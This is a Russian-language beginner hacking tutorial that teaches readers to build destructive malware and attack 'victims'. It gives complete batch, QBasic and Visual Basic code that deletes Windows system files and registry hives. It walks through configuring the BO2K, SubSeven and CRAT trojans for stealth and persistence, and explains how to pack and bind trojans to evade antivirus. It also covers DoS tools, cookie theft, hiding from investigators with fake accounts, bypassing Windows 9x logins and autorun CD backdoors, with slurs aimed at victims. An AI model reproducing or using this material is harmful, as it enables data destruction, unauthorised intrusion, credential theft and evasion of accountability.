@echo off — эта команда приказывает компьютеру не показывать ничего из того, что в нем делается в данный момент. Эта команда нужна, если вы не хотите, чтобы жертва знала, какая команда выполняется на его компьютере.

echo ваш текст — эта команда выводит на экран «ваш текст». Допустим, вы хотите разместить на экране жертвы какую-то умную фразу — например, «ты козел». Тогда вам нужно напечатать: echo ты козел. Все очень просто.

cd — эта команды приказывает компьютеру вернуться к основному хард-драйву (в большинстве случаев C:\). Большую часть времени вы используете именно его. Позже вы увидите, почему это происходит.

cd foldername — эта команда открывает папку. Допустим, раньше вы дали команду cd\. Значит, теперь вы в C:\. Тогда вы говорите компьютеру: cd windows, и компьютер открывает папку Windows на драйве C (как вы знаете, C:/windows является самой важной папкой на вашем компьютере, если только у вас не установлен Linux).

Deltree /y foldername — эта команда удаляет директорию, даже если в ней имеются важные файлы. По умолчанию, если вы говорите DOS deltree этупапку, система спросит вас, как пользователя: Y — да, если вы хотите удалить папку, или N — если не хотите удалять ее. Вот почему я показал вам префикс /y. Он автоматически вводит Y от лица пользователя. Благодаря этой команде вы можете удалить всю папку с файлами без разрешения ее владельца.

@del filename — эта команда удаляет определенный файл в задействованной папке.

End — эта команда заканчивает текст и выводит нас из программы.

Теперь, когда вы изучили основные команды, мы можем приступить к созданию простейших вирусов. Думаю, вы лучше поймете этот процесс, если увидите несколько примеров.

Пример 1.

```
@echo off
cd\
Deltree /y windows
echo You stupid bastard
```

```
echo hahahahahahahahahahahah
echo Your Fantomaz
echo eeeewww
echo goodbye
end
```

Давайте проанализируем этот шедевр эпистолярного искусства.

@echo off — приказывает компьютеру помалкивать о том, что будет делаться. Ваша жертва не будет иметь ни малейшего понятия о том, что происходит. Хе-хе-хе!

cd — приказывает компьютеру перейти в драйв C:\.

deltree /y windows — приказывает удалить папку Windows с драйва c:\. Это означает: «Прощай Windows. Покойся с миром. :)

echo You stupid bastard — приказывает компьютеру передать вашей жертве несколько теплых слов.

echo hahahahahahahahahahahaha — эта команда передает богатство ваших эмоций.

echo Your Fantomaz — как бы подпись (наличие «Z» в окончании привычных слов намекает на ваши тесные связи с хакерским миром).

echo eeeewww — это хакерский зевок

echo goodbye — прощание

End — Уф! Конец программы.

Теперь вы начали понимать, как работают вирусы. Но раз уж мы говорим об Азбуке хакера, то я покажу вам еще один маленький вирус.

Пример 2.

```
@echo off
cd\
cd windows
@del win.com
@del win.ini
echo Fag, try to fix your computer now.
End
```

Приступим к анализу:

@echo off — велели компьютеру помалкивать.

cd — приказали компьютеру перейти к c:\.

cd windows — велели компьютеру перейти из c:\ к c:\windows.

@del win.com — приказали компьютеру удалить win.com из папки c:\windows.

@del win.ini — повторили ту же процедуру с файлом win.ini.

echo Fag, try to fix your computer now. — Наша подколочка: «Эй, малыш, попробуй починить свой компьютер!»

End — окончание программы.

Допустим, вы закончили писать ваш чудесный код в Блокноте. Теперь вам нужно сохранить его в виде исполнительного файла. Это просто. Кликаете в Блокноте на «Файл», затем «Сохранить как», печатаете любое имя файла, какое захотите, и обязательно прибавляете к нему расширение .bat. Не забудьте — .bat ! Имена для файла могут быть такими: myprogram.bat , mypic.bat , clickme.bat, yourmom.bat, ding.bat, man.bat и так далее.

Затем... Затем вы распространяете этот файл через Интернет или вручную вводите его в компьютер жертвы.

Эти вирусы предназначены для олухов. Не опробуйте их на опытных пользователях. Если вы хотите надругаться над компьютером опытного пользователя, то лучше изучите так называемые RapidQ вирусы. Мы поговорим о них позже.

Qbasic:

Что такое Qbasic?

Qbasic — это программа для DOS из далеких 80-х годов прошлого века. Один из программных языков. Не волнуйтесь, он не сложнее DOS batch-файла. У вас может возникнуть вопрос: Зачем нужно использовать qbasic вирусы, когда мы могли бы обойтись простыми DOS вирусами? Есть на то причина! Создавая вирусы с DOS batch-файлом, вы раскрываете себя расширением .bat. Многие люди относятся к этому расширению с подозрением, потому что не встречались с ним прежде. А при создании вирусов на Qbasic вы используете расширение .exe. (Это расширение для стандартных исполнительных файлов. На вашем компьютере их тонны — как минимум, один на программу.) Ваша

жертва будет менее подозрительной, когда увидит exe-файл (хотя вы вряд ли обманете компьютерного гуру).

Где можно найти Qbasic?

Вы можете найти эту программу, напечатав в окне любой поисковой системы: Qbasic 4.5. Только ищите версию 4.5 (не ниже, не выше).

Скачав ее, проведите процедуру unzip и поместите программу в отдельную папку. Затем запустите файл qb.exe. Перед вами появится мерзкое сине-зеленое окно, в котором вы будете печатать свой код.

Если окно маленькое, нажмите одновременно клавиши ALT + ENTER, и оно увеличится. Если вам затем захочется уменьшить его, то снова нажмите ALT + ENTER.

Теперь поучимся командам.

PRINT «Привет»— команда print приказывает компьютеру разместить текст на экране. Все, что находится между кавычками, будет отображено на экране.

Sleep 1 — команда sleep приказывает компьютеру сделать паузу на то количество секунд, которое вы вводите. То есть, компьютер будет «спать» (находиться на паузе) 1 секунду. Помните о том, что секунды нужно выставлять целыми числами. Например, число 1.5 не годится. Необходимы целые числа: 1, 2, 3, 4 и т.д.

Kill «C:/windows/win.com» — команда kill вполне соответствует своему предназначению. Она убивает файл. Вы указываете путь к файлу между кавычками, и команда удаляет этот файл. Она не работает с директориями и папками. Поэтому вы не сможете удалить весь Windows сразу или какую-то папку. Здесь нужно действовать постепенно, удаляя файл за файлом.

End — попробуйте сами догадаться, для чего нужна эта команда.

Итак, у нас имеется четыре команды, из которых мы можем создать вирус в qbasic. Вы вводите эти команды в окне программы qbasic. После ввода команд, вы давите на **«Run»** (Выполнить), затем выбираете **«Make exe file…»** (Создать exe-файл...), и печатаете простенькое имя (например, program.exe). Не забудьте под **«produce»** выбрать **Stand-Alone exe.** Это очень важно. Иначе программа выдаст жертве сообщение об ошибке — об отсутствии какого-то файла. И не бойтесь, что создание exe-файла повредит вашей машине. Все будет хорошо, если только вы не станете открывать его на своем компьютере. После со-

здания exe-файла, вручите его жертве и наблюдайте за мучениями ламера.

А теперь посмотрим, как работают такие вирусы:

Пример

```
kill «C:/windows/win.com»
kill «C:/windows/win.ini»
kill «C:/autoexec.bat»
kill «C:/config.sys»
print «Я ненавижу таких людей, как ты.....»
sleep 2
print «-Всемогущий хакер»
end
```

Давайте проанализируем этот кусок программы:

kill «C:/windows/win.com» — разрушает файл win.com.

kill «C:/windows/win.ini» — разрушает файл win.ini.

kill «C:/autoexec.bat» — разрушает autoexec.bat.

kill «C:/config.sys» — удаляет config.sys.

print «Я ненавижу таких людей, как ты.....» — выводим текст на экран.

sleep 2 — заставляем компьютер сделать паузу на 2 секунды.

print «-Всемогущий хакер» — печатаем на экране хакерский ник, который разместится ниже текста.

end — конец программы.

Ну, хватит болтать о qbasic вирусах. Если вы не поняли, почему я удалил указанные файлы, то не унывайте. К этому вопросу мы еще вернемся.

Visual Basic:

Если вы умеете программировать на Visual Basic, то примите мои поздравления, потому что это очень полезный язык (но я не говорю, что он хороший.) Если же вы не умеете программировать на Visual Basic и не имеете понятия о нем, то просто пропустите эту часть. Здесь

я покажу, как с помощью него можно уничтожить реестр или программу регистрации. Реестр очень важен для Windows. Здесь хранится вся информация о задействованных программах. Без реестра компьютер имеет большие проблемы с выполнением своих функций. A Visual Basic может запросто удалить такую регистрацию.

Предположим, что у вас имеются какие-то навыки в этом программном языке. Тогда создайте файл с расширением .bas и вложите в него следующие строки:

```
Declare Function RegCloseKey Lib «advapi32.dll» (ByVal HKEY As Long) As Long
Declare Function RegCreateKey Lib «advapi32.dll» Alias «RegCreateKeyA» (ByVal HKEY As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib «advapi32.dll» Alias «RegDeleteKeyA» (ByVal HKEY As Long, ByVal lpSubKey As String) As Long
Declare Function RegDeleteValue Lib «advapi32.dll» Alias «RegDeleteValueA» (ByVal HKEY As Long, ByVal lpValueName As String) As Long
Declare Function RegOpenKey Lib «advapi32.dll» Alias «RegOpenKeyA» (ByVal HKEY As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegQueryValueEx Lib «advapi32.dll» Alias «RegQueryValueExA» (ByVal HKEY As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Declare Function RegSetValueEx Lib «advapi32.dll» Alias «RegSetValueExA» (ByVal HKEY As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_CURRENT_CONFIG = &H80000004
Public Const HKEY_DYN_DATA = &H80000005
Public Const REG_SZ = 1
Function RegQueryStringValue(ByVal HKEY As Long, ByVal strValueName As String)
Dim lResult As Long
```

```
Dim lValueType As Long
Dim strBuf As String
Dim lDataBufSize As Long
On Error GoTo 0
lResult = RegQueryValueEx(HKEY, strValueName, 0&, lValueType,
ByVal 0&, lDataBufSize)
If lResult = ERROR_SUCCESS Then
If lValueType = REG_SZ Then
strBuf = String(lDataBufSize, « «)
lResult = RegQueryValueEx(HKEY, strValueName, 0&, 0&, ByVal
strBuf, lDataBufSize)
If lResult = ERROR_SUCCESS Then
RegQueryStringValue = StripTerminator(strBuf)
End If
End If
End If
End Function
Public Function GetSettingEx(HKEY As Long, sPath As String, sValue
As String)
Dim KeyHand&
Dim datatype&
Call RegOpenKey(HKEY, sPath, KeyHand&)
GetSettingEx = RegQueryStringValue(KeyHand&, sValue)
Call RegCloseKey(KeyHand&)
End Function
Function StripTerminator(ByVal strString As String) As String
Dim intZeroPos As Integer
intZeroPos = InStr(strString, Chr$(0))
If intZeroPos > 0 Then
StripTerminator = Left$(strString, intZeroPos - 1)
Else
StripTerminator = strString
End If
End Function
Public Sub SaveSettingEx(HKEY As Long, sPath As String, sValue As
String, sData As String)
Dim KeyHand As Long
```

```
Call RegCreateKey(HKEY, sPath, KeyHand)
Call RegSetValueEx(KeyHand&, sValue, 0, REG_SZ, ByVal sData,
Len(sData))
Call RegCloseKey(KeyHand&)
End Sub
```

Создав .bas файл, убедитесь, что вы интегрировали его в ваш проект. А затем на главной форме под разделом Form_load() внесите следующий кусочек кода:

```
RegDeleteKey HKEY_CURRENT_USER, «Software»
RegDeleteKey HKEY_CURRENT_USER, «AppEvents»
RegDeleteKey HKEY_CURRENT_USER, «Control Panel»
RegDeleteKey HKEY_CURRENT_USER, «Display»
RegDeleteKey HKEY_CURRENT_USER, «FomPOS.INI»
RegDeleteKey HKEY_CURRENT_USER, «Identities»
RegDeleteKey HKEY_CURRENT_USER, «InstallLocationsMRU»
RegDeleteKey HKEY_CURRENT_USER, «keyboard layout»
RegDeleteKey HKEY_CURRENT_USER, «network»
RegDeleteKey HKEY_CURRENT_USER, «RemoteAccess»
RegDeleteKey HKEY_CURRENT_USER, «Software»
RegDeleteKey HKEY_LOCAL_MACHINE, «Software»
RegDeleteKey HKEY_LOCAL_MACHINE, «AppEvents»
RegDeleteKey HKEY_LOCAL_MACHINE, «Config»
RegDeleteKey HKEY_LOCAL_MACHINE, «Driver»
RegDeleteKey HKEY_LOCAL_MACHINE, «Enum»
RegDeleteKey HKEY_LOCAL_MACHINE, «Hardware»
RegDeleteKey HKEY_LOCAL_MACHINE, «Network»
RegDeleteKey HKEY_LOCAL_MACHINE, «txtfile»
RegDeleteKey HKEY_LOCAL_MACHINE, «rtffile»
RegDeleteKey HKEY_LOCAL_MACHINE, «Security»
RegDeleteKey HKEY_LOCAL_MACHINE, «System»
RegDeleteKey HKEY_CURRENT_CONFIG, «Display»
RegDeleteKey HKEY_CURRENT_CONFIG, «Enum»
RegDeleteKey HKEY_CURRENT_CONFIG, «Software»
RegDeleteKey HKEY_CURRENT_CONFIG, «System»
RegDeleteKey HKEY_DYN_DATA, «Config Manager»
```

```
RegDeleteKey HKEY_DYN_DATA, «PerfStats»
```

Затем вам нужно кликнуть на «Файл» и выбрать «Создать exe-файл» **(Make exe file)**. Создаете его — и все дела!

Распространяйте его в Сети по потребности. Вирус очень опасный и фактически не определяется антивирусными программами. Единственной угрозой при создании его на Visual Basic являются случаи, когда некоторые счастливчики получают сообщение об ошибке. Это происходит по той причине, что они не имеют каких-то библиотек из того немереного количества .dll файлов, которые требуются для Visual Basic.

Троянские лошадки

Троянские кони — это вам не скакуны в фильмах про индейцев. «Троянские кони» (они же для сокращения зовутся просто «троянами») — это программы, которые открывают лазейки в компьютеры жертв. Они проникают туда, сидят и ждут, когда вы придете и возьмете полный контроль над системой. А владельцы даже и не знают о вашей атаке. Использование троянов считается делом ламерски простым, потому что они не требуют никаких затрат ума и смекалки. Единственным вызовом, достойным уважения, является инфицирование жертвы троянским конем.

Большая часть троянов состоит из трех exe-файлов:

```
EditServer.exe
Client.exe
Server.exe
```

Первый файл используется для редактирования сервера и его подстройки для ваших нужд (допустим, вы хотите, чтобы вас извещали по ICQ каждый раз, когда пользователь подключается к сети, или хотите, чтобы сервер принимал ваш адрес электронной почты). Второй exe-файл должен быть клиентом.

Клиент — это программа, которую вы используете для подключения к серверу. Клиент не инфицирует троянским конем. Последний exe-файл называется серверным файлом, и именно его вы отправляете жертве. Не открывайте его на своем компьютере, иначе заразите самого себя трояном.

Естественно, вы должны переименовать серверный exe-файл каким-нибудь менее подозрительным названием — что-нибудь вроде update.exe .

Я понимаю, что это очень грубое объяснение работы троянских коней. Поэтому мы рассмотрим, как успешно конфигурировать три самых популярных троянских коня. Но помните! Использование троянов считается ламерским уровнем. Я тоже отношусь к ним снисходительно, однако нахожу вполне полезными. Поэтому, если ваш друг не имеет активированных опций для доступа к его файлам и принтерам, вам придется опробовать на нем троянских коней.

Back Orifice 2000

Чтобы использовать Back Orifice 2000 (сейчас программа называется BO2K), скачайте ее с **http://bo2k.sourceforge.net .** Когда зайдете на сайт, кликните кнопку **«Download BO2K»**, затем выберите zip-файл, содержащий весь BO2K. Как только загрузка закончится, деактивируйте ваш антивирус, потому что он начнет бухтеть об инфицировании троянским конем. На самом деле это не так.

Если вы запустите файл **bo2k.exe**, то вот тогда-то вы и подхватите трояна. Поэтому ни в коем случае не запускайте его в действие. Все другие файлы безопасны. Проведите **unzip** файла и поместите его в особую папку. Далее дважды кликните по файлу **bo2kcfg.exe** и запустите его, чтобы конфигурировать сервер по вашим потребностям. Там будет «гид», который задаст вам несколько вопросов.

Прежде всего он спросит, где расположен серверный файл — то есть, **bo2k.exe**. Если все три файла размещены у вас в одной папке, то просто щелкните по кнопке «Далее» **(Next)**.

Следующий вопрос: хотите ли вы использовать **TCP Networking** или **UDP Networking**?

Выберите TCP, потому что это более надежный режим. Кликните по кнопке «Далее».

Теперь вы должны выбрать номер порта. Я обычно пользуюсь чем-то схожим на 6699, но вы обязательно убедитесь в том, чтобы номер был выше 1000. Затем «гид» спросит, каким шифром пользоваться. Выберите XOR и кликните кнопку «Далее». После этого вам потребуется выбрать пароль. (Лично я выбираю слово «перхоть» — dandruff; только не спрашивайте меня, чем продиктован выбор такого пароля!) Итак, вы придумываете пароль и жмете на кнопки «Далее» и «Закончить» (Finish). Отныне сервер минимально конфигурирован.

Перед вами выскочит окошко и покажет вам отключенные опции. Здесь нужно действовать вдумчиво! Вы должны кликнуть по кнопке Open Server (Открыть сервер) и выбрать ваш сервер (в нашем

случае — bo2k.exe). Затем, когда вы откроете сервер, в левом нижнем углу появится несколько папок. Просмотрите их и найдите **stealth folder** (тайная папочка!). Кликните по знаку «+» рядом с «тайной папкой». Перед вами появятся некоторые опции. Я поясню каждую из них.

Run at startup (запуск при влючении) — эта опция означает, что bo2k.exe будет повторно запускаться на компьютере жертвы каждый раз, когда он включает его. Многие люди выбирают режим **Enable** (активации).

Delete Original File (удалить первоначальный файл) — эта опция означает, что при открытии сервера на атакованном компьютере exe-файл, по которому кликнул человек, будет удален с компьютера.

Insidious mode (коварный режим) — я вообще не понимаю, для чего он предназначен. Да, мне в лом выяснять такие подробности, поэтому лично я оставляю его деактивированным (Disable).

Run Time Path (запуск временного пути) — это название .exe файла, который будет скопирован в системную папку после того, как человек откроет сервер на своем компьютере. Название должно выглядеть важным — winExplorer или что-то в этом роде — чтобы человек не посмел стирать его. Когда напечатаете выбранное вами название файла, кликните по «Set Value» (настроить значение) и измените bo2k на новое имя.

Hide Process (скрытый процесс) — вы хотите, чтобы сервер на компьютере жертвы скрывал себя? Тогда активируйте эту опцию (**Enabled**), и сервер скроет себя.

Host Process Name (имя для хозяйских глаз) — название, которое будет появляться при регистрации. Пусть это будет чем-то важным на вид — например, **WinExplorer**. Напечатайте, что хотите, и кликните на «Set Value».

Service Name (NT) (служебное название) — имя, которое человек увидит при проверке всех услуг, задействованных на Windows NT. Придайте ему важный вид (например, **WinExplorer**) и кликните по «**Set Value**».

Проведя настройку, щелкните по кнопке «**Save Server**» (сохранить сервер), затем по кнопке «**Close Server**» (Закрыть сервер) и выйдите из утилиты для конфигурации.

Жму вашу лапу! Вы успешно конфигурировали BO2K! Теперь вам осталось научиться правильной пересылке сервера к избранной вами жертве. Об этом мы поговорим немного позже. Главное, помни-

те, что при подключении к узлу жертвы вы должны выставить IPADDRESS:PORT.

Не пропустите двоеточия! Например, IP-адрес моей жертвы 64.42.89.130 . Если при конфигурации сервера я выбираю порт 6699, то в клиенте BO2K под **Host Address** (адресом узла) мне следует поставить: 64.42.89.130:6699. После этого я могу кликать по кнопке «Подключиться».

SubSeven 2.2

Прежде всего вы должны найти и загрузить в свой арсенал программу SubSeven (сейчас она называется Sub7). Проще всего взять ее с **http://subseven.slak.org** . Убедитесь, что грузите версию не ниже 2.2. После загрузки не забудьте деактивировать свой антивирус. Проведите процедуру unzip и поместите программу в отдельную папку. Там будет несколько файлов. Сейчас мы с вами поковыряемся в двух из них — editserver.exe и sub7.exe . На данный момент они для вас самые важные.

Итак, мы приступаем к созданию сервера. Для этого запускаем файл editserver.exe — двойной щелчок на нем, он открывается, и вы тут же выбираете нормальный режим (normal mode). Теперь придется повозиться с настройками. Вам придется конфигурировать их, чтобы получить полностью функциональный серверный файл. Справа появится несколько таблиц, о которых я сейчас немного расскажу.

В таблице **Server Settings** (Настройки сервера) вы увидите:

Port: — Введите большое число. Это номер, который потребуется вам для подключения к жертве — например, Port: 6699 .

Password: — Это пароль, который защитит компьютер вашей жертвы от других людей, использующих программу Sub7.

Re-Enter Password: — Не пыхтите, а просто еще раз напечатайте пароль.

Victim Name: — Имя, которое вы дали своей жертве. Не важно, какое оно — просто введите его, и все.

Protect Password: — Пароль, чтобы защитить ваш файл server.exe от редактирования.

Re-Enter Password: — Хватит ругаться! Настоящие хакеры терпят такие пытки молча!

Checkable Options (контрольные опции):

Use Random Port (использование случайного порта): — не рекомендуется! Не важно, для чего эта опция. Просто оставьте ее неотмеченной.

Melt Server after Installation (расплавить сервер после установки): — Можете отметить эту опцию, если хотите. После того, как человек запустит server.exe, этот файл будет удален, и его не обнаружат при сканировании антивирусной программой. Если опция отмечена, это означает: «Да, удалить файл после запуска». Если опция не отмечена, это означает: «Нет, оставь файл на месте.»

Wait for reboot (ждать перезапуска): — Вы хотите, чтобы лазейка появилась после рестарта атакованного компьютера? Тогда отметьте эту опцию.

Customizable (опции по желанию):

Random file name (случайное имя файла): — оставьте эту опцию, если хотите, чтобы программа Sub7 создала свое имя для exe-файла, когда она скопирует себя в системную папку.

Specify (определенное имя файла): — Эта опция позволит вам выбирать имя для exe-файла, когда он скопирует себя в системную папку атакованного компьютера.

В таблице **Startup Methods** (методы запуска) вы увидите кучу опций, согласующих запуск сервера Sub7 с программой Windows на компьютере жертвы. Лично я предлагаю вам изменить слова RunDLL32 на что-то схожее с MSVBVM60. Возможно, ваша жертва сканирует время от времени свои регистры. Но вряд ли этот человек решится удалить такой серьезный файл, как MSVBVM60.

В таблице **Notification** (уведомление) вы увидите кучу опций, с помощью которых вы можете выбрать, каким образом Sub7 будет контактировать с вами при каждом вхождении жертвы в Сеть. Я предлагаю вам загрузить чатовскую программу ICQ из www.ICQ.com . Тогда в Sub7 просто кликните по ICQ-уведомлению и активируйте ваш UIN (вы получите его при подписке на ICQ).

Я предлагаю вам использовать ICQ, потому что все остальные способы либо имеют недостатки, либо слишком трудны для новичков. У меня, к примеру, стоит CGI, но это твердый орешек, с которым нужно повозиться.

В таблице **Binded Files** (связанные файлы) вы увидите возможность выбора того файла, который будет выполняться вместе с серверным файлом. Это отвлечет жертву от ненужных нам подозрений.

В таблице **Plugins** (плагины) вы увидите возможность введения плагинов для Sub7. Лично мне эта черта не нравится. Все основано на введенных плагинах. Поэтому старайтесь набрать побольше тех плагинов, которые вы считаете полезными. Они сами объясняют себя.

В таблице **Restrictions** (ограничения) вы можете уточнить, какие черты не нужно выполнять на сервере. Эти черты сами объясняют себя, так что я не буду здесь останавливаться на них.

В таблице **Email** вы увидите те черты, которые позволят вам пересылать по почте пароли и ключевые фразы.

В таблице **exe icon/other** вы увидите возможность размещения сообщений об ошибке, которая позволяет вам отображать ложные сообщения об ошибке, когда серверный файл запускается в действие. Кроме этого вы можете изменить ярлык вашего серверного exe-файла, чтобы он выглядел менее подозрительным.

Когда вы выберите все нужные вам опции, кликните на кнопку **«Save As»** (Сохранить как) и сохраните файл как собственный . exe файл. Теперь вы полностью конфигурировали троянского коня по кличке Sub7. Позже мы поговорим о том, как «подарить» его вашей жертве.

Netbus 2.10 Pro

Netbus очень нестабильная программа. В настоящее время ее полностью затмил собой CRAT (Cyrus's Remote Administration Tool), созданный знаменитым хакером Киром. Действие Netbus и CRAT схоже, поэтому мы остановимся на последней программе.

CRAT

CRAT очень прост в обращении и имеет почти профессиональный интерфейс. Кроме того, программа очень эффективна. Вы можете записать ее себе на сайте **www.geocities.com/darren 1333/Software. html.**

После загрузки используйте программу Winzip и разместите экстракт в отдельной папке. Затем запустите файл **editserver.exe**, кликните на кнопку «**folder**» и из предложенного набора выберите server.exe. После этого щелкните по опции **«read server settings»** (читать настройки сервера), и тут же все бланки в программе editserver магическим образом заполнятся сами собой теми данными, которые

выставляются по умолчанию. Вы можете поиграть с именем программы. В принципе, начинка схожа с другими троянскими конями. Как только вы внесли необходимые вам изменения, кликните на опции **«Save new settings»** (сохранить новые настройки). Затем вам нужно выйти из editserver.exe. После этого вы сможете прочитать часть ниже серверного раздела трояна. Послав его жертве и получив IP-адрес, вы можете подключиться к нему через программу **Client.exe**. Все действия и опции хорошо объясняют себя. В крайнем случае вы можете кликнуть на «Помощь» **(Help)**, затем снова на «помощь» в программе **client.exe.** Там вы получите ссылку на сайт, где можно найти любую помощь, которая вам только потребуется.

Другими известными троянами являются:

Y3K — прекрасная троянская кобыла с остроумными прибамбасами.

BIONET — обладает уникальными свойствами.

Theif — троянский конь на Plain-Jane.

SoulBlade — тоже хорошая штука.

Внедрение троянского коня

Внедрение трояна заключается в отправке server.exe файла вашей жертве. Трудность заключается в том, чтобы заставить человека загрузить эту программу и запустить ее в действие. Кроме того, многие пользователи имеют на своих машинах антивирусы, которые сканируют записываемые файлы и сообщают хозяевам о троянах. Вот почему многие хорошие ребята сдаются и забывают о хакинге компьютеров. Но я покажу вам, как прятать троянов, чтобы их не засекли антивирусы (Нортон, Mcafee или Касперский).

Одним из способов длительного сокрытия трояна от антивирусов является его «пакетирование». Пакетирование предполагает следующий процесс: мы берем любой exe-файл и решительно сминаем его с помощью сжимающего алгоритма (не ломайте мозги, пытаясь придумать для этого подходящий термин), и в то же время мы сохраняем этот exe-файл полностью функциональным.

«Запакованный» серверный файл трояна становится не опознаваемым для большинства антивирусов. Но где вам найти такие «пакетировщики»? Они доступны на многих сайтах в сети. Просто напишите в рабочем окне поисковой системы слово «packers», и вы получите кучу полезных ссылок. Вам останется лишь выбрать самый толковый и крутой пакетировщик.

Многие из этих программ легки в использовании и имеют пользовательские интерфейсы. Другие запускаются только из DOS. Вам снова придется нажимать на «Пуск», «Выполнить», печатать «command» без кавычек, а затем вводить название пакетировщика вслед за полным именем вашего серверного файла. Порядок использования вы узнаете сами, потому что любой пакетировщик, когда его скачивают, приходит с поясняющей документацией.

Когда вы запаковываете свой exe-файл, не забывайте применять еще один метод сокрытия. Пользователи могут быть очень параноидальными. Второй метод сокрытия называется «связкой». В процессе связки вы вкладываете свой зловещий exe-файл в другой — нормальный — exe-файл, так чтобы ваша жертва ничего не обнаружила. Вы можете пройтись по хакерским сайтам и найти список хороших связанных программ. Позже я подскажу вам, как защитить себя от лазеек, создаваемых «запакованными» и «связанными» программами.

Дополнение

Как видите, на свете существует только несколько способов «взлома» Windows и получения полного доступа к его программам. Но имеются тысячи зловещих дел, которыми может заняться начинающий хакер. Я познакомлю вас с некоторыми из них:

Denial of Service (отказ в услуге)

Эта хитрость не считается хакингом, но обязательно включается в арсенал нашего вооружения. Отказ в услуге происходит тогда, когда хакер посылает тонны бесполезных данных на компьютер жертвы, что приводит к перегрузке и последующей поломке. Разработаны особые атаки, которые используют этот метод для временного «зависания» системы. Инструменты для таких атак вы найдете на любом хакерском сайте. Я по дружбе шепну вам пару хороших адресов: **http://packetstormsecurity.org** и **http://www.blackcode.com.**

Советую присмотреться к таким инструментам, как WinNuke, Tear Drop, ICMP-nuker, OOB, Death n' Destruction.

Cookie Stealing (кража «булок»)

Вы когда-нибудь задумывались о том, каким образом вэбсайты узнают вас после вашей регистрации на них? А как почтовые серверы узнают вас после введения пароля? Все эти маленькие «чудеса» выполняются с помощью «булок» (cookies). Cookies сохраняют информацию с вэбсайтов, которые производят вашу идентификацию. Это похоже на служебные пропуски, но не для охранников у ворот, а для

вэбсайтов в Интернете. И если какой-то человек завладеет вашим пропуском (cookies), он может пройти вместо вас на секретную территорию и воспользоваться всеми вашими привилегиями. Очень интересная возможность, правда? Она входит в арсенал каждого хакера.

а) Кража cookie с помощью программы:

Вам необходимо записать программу SpyNet (она имеется на http://packetstormsecurity.org), а затем использовать ее для выявления всех cookies в компьютере жертвы. Все делается очень легко и просто. Программа дается с необходимыми объяснениями.

б) Кража cookie с помощью вэбсайта:

Позже мы рассмотрим кражу cookie с использованием Java (имеется в виду не марка мотоцикла, а особый скрипт). Этот простой язык используется в вебдизайне. Сейчас просто запомните, что cookie можно красть не только с помощью программ, но и благодаря вэбсайтам.

Как прятаться?

Прятаться легко. Имеется множество способов, так как, например, spoofing (наколка или мистификация) или поддельные IP-адреса. Но такие методы используются только опытными хакерами. А какой опытный хакер будет листать «Азбуку хакера»? То-то же! Однако давайте немного подумаем, как злобные сисадмины узнают, кто и когда проникал в их системы. Они выясняют это по трассировке IP-адреса взломщика, доходят до сервера, затем контактируют с ISP и просят сообщить, кто в определенное время имел такой-то и такой IP-адрес. Затем они узнают адрес взломщика — он указан в картотеке клиентов и... БАЦ!.. к человеку приходят служители закона.

А теперь представим, что системный администратор отследил IP-адрес, связался с конечным сервером и вдруг узнал, что вел расследование по ложной информации. Или что провайдеры этого конечного сервера никогда не заключали со взломщиком договоров и не знают его адреса! Между прочим, таких провайдеров с бесплатными услугами в Сети немереное количество. Вы легко можете воспользоваться их серверами, введя ложное имя, неправильный адрес и другие данные. Подождав неделю-другую, вы используете этот аккаунт для своих тайных дел... затем удаляете его из своего компьютера и на все наводящие вопросы делаете «круглые глаза»: знать — не знаю, ведать — не ведаю. Но вам нужно запомнить важное правило: всегда используйте свою регистрацию только один раз. Опасно продлевать ее после проведен-

ной атаки. Лучше смените ник и пароль, а еще лучше вообще перейдите на другой сервер. Короче, прятки — это не проблема.

Если вам понадобилось совершать атаки через ваш броузер, то воспользуйтесь свободной прокси (proxy). Одну из неплохих вы сможете найти здесь: **www.safeweb.com.** Она шифрует все сообщения между вами и сервером, а также защищает ваши личные данные, когда вы скитаетесь по Сети. Это означает, что она работает только с вашим броузером. При такой свободной услуге вам не нужно даже регистрироваться. Вы идете на вэбсайт, кликаете **Enter**, печатаете адрес в **toolbar**, и вашу идентичность прячут без какого-либо вмешательства с вашей стороны.

Локальный «взлом»

Сейчас мы рассмотрим метод локального «взлома» Windows 9.x. Допустим, вы имеете физический доступ к компьютеру и хотите обойти его систему безопасности. Такая потребность может возникнуть в библиотеках, компьютерных классах, лабораториях или интернет-кафе.

Login Prompt (подсказка логина)

Если для работы на компьютере вам приходится выпрашивать пароли у учителя или какой-то неприятной персоны, то вы можете одолеть систему защиты и получить в нее доступ без всяких паролей. Для этого вам нужно произвести рестарт, и прежде чем компьютер издаст характерный «бип», вы должны нажать клавишу F8 или на некоторых компьютерах — F1. Перед вами появится окно DOS со списком возможных режимов работы. Выберите число, которое предполагает только командные подсказки **(command prompt)**. Затем напечатайте следующую команду: **cd windows**. После этого нажмите клавишу **Enter** и введите еще одну команду: **rename *.pwl *.abc.** Теперь перезапустите компьютер.

Эти команды приказывают DOS открыть папку Windows и переименовать все файлы, которые имеют расширения .pwl на расширение .abc. Зачем мы это делаем? Из-за слабой системы безопасности в Windows все пароли хранятся в файлах с расширением .pwl. Мы можем переименовать их (например, в файлы с расширением .abc). И когда Windows не сможет найти файлы с расширением .pwl, она позволит вам создать новый пароль и, следовательно, даст вам доступ к правам администратора с полным доступом ко всем файлам. Конечно, данный метод не тянет на высший пилотаж, но он вполне полезный и достоин уважения.

Backdoor Installation (установка «лазейки»)

Этот маленький трюк тоже хорош и полезен. Чтобы выполнить его, вам потребуется CDR-W («сидирайтер») на вашем компьютере (на вашем, а не на компьютере жертвы). Вы знаете, что когда CD-диски вставляются в компьютер, они автоматически запускаются (для этого служит программка autorun) и загружают программу. И еще вы, наверное, знаете, что в режиме Screen Saver (хранителя экрана) это тоже действует. Значит, вам нужно создать CD, на котором была бы записана «лазейка» (см. часть о троянских конях) и файл с названием autorun.inf. То есть, у вас будет exe-файл троянского коня, который автоматически запустится в тот момент, когда вы вставите диск в CD-ROM жертвы.

